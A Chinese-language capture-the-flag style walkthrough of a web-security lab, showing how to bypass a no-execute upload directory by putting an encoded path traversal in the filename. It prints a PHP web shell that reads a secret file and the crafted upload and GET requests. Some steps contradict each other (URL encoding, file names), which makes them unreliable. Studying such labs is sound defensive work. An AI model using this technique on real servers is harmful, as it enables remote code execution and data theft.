1. 漏洞原理解析
核心问题:
通常,为了防止攻击者上传 Web Shell(恶意脚本),服务器管理员会配置上传目录(例如 /avatars/ 目录),使其禁止执行脚本 。这意味着,即使你成功上传了一个 exploit.php 文件到头像目录,当你访问它时,服务器只会把它当作纯文本或图片显示,而不会运行里面的 PHP 代码。
漏洞逻辑:
在这个靶场中,存在两个关键点:
-
上传目录受限 :
/files/avatars/目录配置了安全策略,禁止 PHP 执行。 -
路径遍历漏洞 :服务器在处理上传的文件名时,没有正确过滤
../(返回上一级目录)的序列。
攻击思路:
既然 /files/avatars/ 目录下不能执行 PHP,我们就利用路径遍历漏洞,把文件"通过文件名"保存到上一级目录 (例如 /files/)。如果上一级目录没有禁止脚本执行,那么我们的 PHP Web Shell 就可以被激活了。
为什么需要 URL 编码?(本靶场不需要)
很多 Web 应用框架或防火墙会简单的过滤掉标准的 ../ 字符。但是,如果服务器在过滤之后又进行了一次 URL 解码,我们就可以使用 URL 编码后的 ..%2f(%2f 是 / 的编码)来绕过初级过滤。
2. 详细解决流程
步骤 1:准备工作
-
点击 ACCESS THE LAB 进入靶场。
-
点击右上角的 "My account",使用给定的账号登录:
-
Username:
wiener -
Password:
peter
-
-
在我们的本地电脑上创建一个名为
exploit.php的文件,内容如下(用于读取目标文件):<?php echo file_get_contents('/home/carlos/secret'); ?>
步骤 2:尝试上传并抓包
-
在 "My account" 页面,找到上传头像的功能。
-
选择你刚才创建的
exploit.php并点击 "Upload"。 -
不要直接等待上传完成,在 Burp Suite 中开启 Intercept On (拦截模式),或者、在 HTTP History 中找到刚才的 POST 请求。

-
将这个
POST /my-account/avatar请求发送到 Repeater(重放器)。
步骤 3:测试路径遍历(Bypass 尝试)
我们在 Repeater 中修改请求包。
-
找到 Body 中的
Content-Disposition字段,这里包含了filename。 -
尝试 1 (直接遍历) :将文件名修改为
filename="../exploit.php"。点击 Send。
-
观察响应:服务器返回
The file avatars/../exploit.php has been uploaded.。服务器把你的../直接删掉(过滤)了 ,文件最终还是乖乖地传到了avatars/目录下,变成了avatars/1.php。 -
此时, 们把
/写成 URL 编码格式%2f,我们成功骗过了过滤器,文件实际上被保存到了/files/avatars/的上一级目录,即/files/exploit.php。
-
ps:当我们访问账户页面时,HTML 代码引用了这个头像: <img src="/files/avatars/../1.php" ...> 浏览器读取这个路径时,会遵循文件系统的逻辑:先进入 /files/再进入 /avatars/遇到 ..(代表返回上一级目录),于是跳回到 /files/最后读取 1.php。这个路径实际上指向的是 /files/1.php
步骤 4:执行脚本并获取 Secret
-
现在文件已经上传到了上一级目录,我们需要访问它来触发代码执行。
-
回到浏览器或 Burp Proxy History。
-
如果你正常访问头像,路径是
/files/avatars/avatar.png。 -
根据刚才的上传路径,你的 Web Shell 现在位于
/files/1.php。 -
在浏览器 URL 栏或 Burp Repeater 中构造 GET 请求:

GET /files/exploit.php HTTP/1.1 Host: [你的靶场ID].web-security-academy.net ... -
查看响应:
-
如果攻击成功,服务器不会返回 PHP 源码,而是执行代码后的结果。
-
你应该能在响应体中看到一串随机的字符串,这就是 Carlos 的 Secret。
-
步骤 5:提交答案
-
复制响应中的 Secret 字符串。在靶场页面顶部的 "Submit solution" 按钮处粘贴并提交。
-
靶场通关。

总结
这个靶场教会了我们:即使上传目录本身是安全的(禁止脚本执行),如果存在路径遍历漏洞,攻击者依然可以将恶意文件上传到其他不安全的目录(如根目录或其他静态资源目录),从而绕过安全限制实现 RCE(远程代码执行)。